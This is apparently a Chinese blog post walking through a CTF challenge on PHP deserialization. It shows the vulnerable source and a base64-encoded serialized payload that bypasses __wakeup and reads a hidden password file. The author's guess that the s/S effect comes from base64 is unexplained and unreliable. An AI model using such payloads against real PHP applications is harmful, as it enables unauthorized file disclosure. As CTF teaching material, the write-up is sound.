PHP反序列化漏洞-CTF實例

PHP反序列化漏洞-CTF

PHP反序列化漏洞-FIRST

PHP反序列化漏洞-SECOND

1.CTF實例

CTF實例源碼:
strchr() 函數: 搜索字符串在另一字符串中的第一次出現,返回字符串的其餘部分(從匹配點)。如果未找到所搜索的字符串,則返回 FALSE。
dirname(__FILE__)函數:表示當前文件絕對路徑

//10.php
<?php  

  error_reporting(0); //關閉錯誤報告
    class happy{ 
        protected $file='index.php'; 
        public function __construct($file){ 
            $this->file=$file; 
        } 
         
        function __destruct(){ 
            if(!empty($this->file))
            {
                if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) //過濾了文件名中的\\與/
                    show_source(dirname(__FILE__).'/'.$this->file); //打開文件操作
                else
                    die('Wrong filename.');
            }
        } 
         
        function __wakeup(){ 
            $this->file='index.php'; 
        } 
        public function __toString()
        {
            return '';
        }
 }
      
    if (!isset($_GET['file'])){ 
        show_source('index.php'); 
    } 
    else{ 
        $file=base64_decode($_GET['file']); 
        echo unserialize($file); 
        } 
?> 
<!--password in 123.php--> //密碼在123.php文件中

分析:
isset()函數,當()中的值爲空返回false,也就是說們通過GET傳參,爲空時顯示index.php文件。

if (!isset($_GET['file']))
{
show_source('index.php');
}

在這裏插入圖片描述
構造payload

O:5:"happy":2:{s:7:"\00*\00file";s:7:"123.php";}
base64加密後:
Tzo1OiJoYXBweSI6Mjp7czo3OiJcMDAqXDAwZmlsZSI7czo3OiIxMjMucGhwIjt9

在這裏插入圖片描述
我們發現此時我們構造的payload並沒有生效,輸出的爲index.php頁面。
在這裏插入圖片描述
對於此處,我搜查了一些資料,發現是對於保護變量進行外部修改時,屬性標識符的問題,也就是s的問題,我們將s->S後,成功回顯123.php

在PHP序列化格式中,不存在S與s標識有什麼區別,所以我分析,應該爲base64編碼中對這塊有什麼特殊的規定,我暫時沒有找到,希望大家看到此處時,明白其原由的請評論給我,謝謝

O:5:"happy":2:{S:7:"\00*\00file";s:7:"123.php";}
base64加密後
Tzo1OiJoYXBweSI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo3OiIxMjMucGhwIjt9

成功打開123.php文件,漏洞利用成功…
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章